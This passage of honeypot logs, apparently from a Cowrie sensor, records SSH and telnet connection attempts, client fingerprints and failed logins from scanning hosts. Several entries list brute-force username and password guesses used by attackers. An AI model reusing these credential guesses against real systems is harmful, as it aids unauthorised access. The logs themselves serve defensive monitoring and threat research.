3d:18:c8:e6:59:af:ed:23:b3:cc:3f:05:da:51:e1:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:37.144859Z","src_ip":"172.245.225.106","session":"a5b75589bd18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:18:c8:e6:59:af:ed:23:b3:cc:3f:05:da:51:e1:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwdcdbEEiY5ptJmHMTyZqIhIwrVQyIrCeoXKDGj5D6ziGI+SV8Ksu2WvY3LP3y5ZiWpsrrzVuxbX9pUMfv8sCX0Lw68q22j7r8c9vwRMwO9oeA5ExovMq11iaLDBn08mzZIwuIZqZwCv7WGsLp4a+hGqYBBMoxCGeZ3BZIAv8bjvxXB0JlyyJsvMJnc67URG2/p+COycodSJsPBaxYpXTnj1WK63q1grSzmfqLLks26ecN1Bfw7ZRkRXr3MCYvmm4aN2Q/GQm8OnUM20ESd+DWsN1is0Pfr7TP5vE2h/wW/KeJ9brauSopx/Sk0hCGJPJQ9MKF/2p3XrCTp66az4sDq1CeHqZY7OlQcXIKl+cG9NAG9vzs0gefYjnCTm1MBe+Zhy987ade/s0+NsS2JW9iXuqjKClgNTdN9x81ld7yAwjMKoeTOfz3bETOEWDk6kGT88GZTHvFWuP60nUWS+Q44kycTwe9sA5hS3Caild+jEp2JIqYxkHD2aUgSxikdGzkz+VyYEUTgg26SXzrcCnTjywS5jZpsMFjKrXOe1rvK/PRtt8qqDUs/0PTruqHnJ0ezHMicl8D5gypwepRLdg/ADWptePC+2GTVr5Wwa5tGA+FQ7xsk4Aa1fDcrVJmDiTH3OvVaDn9PO/33hyVeCxPTsYYhMB5DrnITIE5tLejJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:37.148840Z","src_ip":"172.245.225.106","session":"a5b75589bd18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:37.193149Z","src_ip":"172.245.225.106","session":"a5b75589bd18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43124,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5de58a00862","protocol":"telnet","message":"New connection: 152.42.224.71:43124 (10.17.0.5:23) [session: f5de58a00862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:38.961402Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46474,"dst_ip":"159.203.135.109","dst_port":22,"session":"547825c50d81","protocol":"ssh","message":"New connection: 31.40.204.166:46474 (159.203.135.109:22) [session: 547825c50d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:39.782350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:39.786700Z","src_ip":"31.40.204.166","session":"547825c50d81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:39.907575Z","src_ip":"31.40.204.166","session":"547825c50d81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:40.324369Z","src_ip":"31.40.204.166","session":"547825c50d81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":36176,"dst_ip":"10.17.0.5","dst_port":22,"session":"5907c7e526e1","protocol":"ssh","message":"New connection: 193.228.128.84:36176 (10.17.0.5:22) [session: 5907c7e526e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:40.336600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:40.340945Z","src_ip":"193.228.128.84","session":"5907c7e526e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:40.443870Z","src_ip":"193.228.128.84","session":"5907c7e526e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43134,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dab4c5f4116","protocol":"telnet","message":"New connection: 152.42.224.71:43134 (10.17.0.5:23) [session: 4dab4c5f4116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:40.610613Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"sveta","message":"login attempt [root/sveta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:40.752313Z","src_ip":"193.228.128.84","session":"5907c7e526e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.143.179.75","src_port":17283,"dst_ip":"159.203.135.109","dst_port":23,"session":"09072aa09aa9","protocol":"telnet","message":"New connection: 198.143.179.75:17283 (159.203.135.109:23) [session: 09072aa09aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:41.417728Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:41.522796Z","src_ip":"31.40.204.166","session":"547825c50d81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":34090,"dst_ip":"10.17.0.5","dst_port":22,"session":"0464a2a3c711","protocol":"ssh","message":"New connection: 103.91.246.101:34090 (10.17.0.5:22) [session: 0464a2a3c711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:41.530341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:41.537402Z","src_ip":"103.91.246.101","session":"0464a2a3c711","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:41.754820Z","src_ip":"103.91.246.101","session":"0464a2a3c711","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:41.860261Z","src_ip":"193.228.128.84","session":"5907c7e526e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ovh","message":"login attempt [root/ovh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:42.652517Z","src_ip":"103.91.246.101","session":"0464a2a3c711","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:43.874997Z","src_ip":"103.91.246.101","session":"0464a2a3c711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":46004,"dst_ip":"10.17.0.5","dst_port":22,"session":"b26d75b9fcb0","protocol":"ssh","message":"New connection: 190.85.41.170:46004 (10.17.0.5:22) [session: b26d75b9fcb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:46.781596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:46.785815Z","src_ip":"190.85.41.170","session":"b26d75b9fcb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:46.856865Z","src_ip":"190.85.41.170","session":"b26d75b9fcb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39364,"dst_ip":"10.17.0.5","dst_port":23,"session":"f744a00d7ff8","protocol":"telnet","message":"New connection: 152.42.224.71:39364 (10.17.0.5:23) [session: f744a00d7ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:46.975589Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer1234","message":"login attempt [root/Qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:47.183872Z","src_ip":"190.85.41.170","session":"b26d75b9fcb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:48.259132Z","src_ip":"190.85.41.170","session":"b26d75b9fcb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39378,"dst_ip":"10.17.0.5","dst_port":23,"session":"c58b939d9d38","protocol":"telnet","message":"New connection: 152.42.224.71:39378 (10.17.0.5:23) [session: c58b939d9d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:48.402883Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":35626,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cfe83980a86","protocol":"ssh","message":"New connection: 43.156.96.97:35626 (10.17.0.5:22) [session: 0cfe83980a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:50.746331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:50.750757Z","src_ip":"43.156.96.97","session":"0cfe83980a86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:50.996678Z","src_ip":"43.156.96.97","session":"0cfe83980a86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39386,"dst_ip":"10.17.0.5","dst_port":23,"session":"a75e9e6a51c2","protocol":"telnet","message":"New connection: 152.42.224.71:39386 (10.17.0.5:23) [session: a75e9e6a51c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:51.515146Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39402,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eee4d62bd3a","protocol":"telnet","message":"New connection: 152.42.224.71:39402 (10.17.0.5:23) [session: 0eee4d62bd3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:51.610632Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57728,"dst_ip":"159.203.135.109","dst_port":22,"session":"88fd49c078b8","protocol":"ssh","message":"New connection: 31.40.204.166:57728 (159.203.135.109:22) [session: 88fd49c078b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:51.683240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:51.716916Z","src_ip":"31.40.204.166","session":"88fd49c078b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"SF2013ShiFangKM0712","message":"login attempt [root/SF2013ShiFangKM0712] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:52.007613Z","src_ip":"43.156.96.97","session":"0cfe83980a86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:52.013655Z","src_ip":"31.40.204.166","session":"88fd49c078b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:52.519959Z","src_ip":"31.40.204.166","session":"88fd49c078b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:53.256940Z","src_ip":"43.156.96.97","session":"0cfe83980a86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:53.696112Z","src_ip":"31.40.204.166","session":"88fd49c078b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.078308343887329,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:55.495911Z","src_ip":"198.143.179.75","session":"09072aa09aa9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39414,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d33a77e4b5b","protocol":"telnet","message":"New connection: 152.42.224.71:39414 (10.17.0.5:23) [session: 1d33a77e4b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:56.467228Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":36814,"dst_ip":"10.17.0.5","dst_port":22,"session":"45fb459532dd","protocol":"ssh","message":"New connection: 170.106.159.59:36814 (10.17.0.5:22) [session: 45fb459532dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:56.803095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:56.807019Z","src_ip":"170.106.159.59","session":"45fb459532dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:56.875134Z","src_ip":"170.106.159.59","session":"45fb459532dd","protocol":"ssh"}
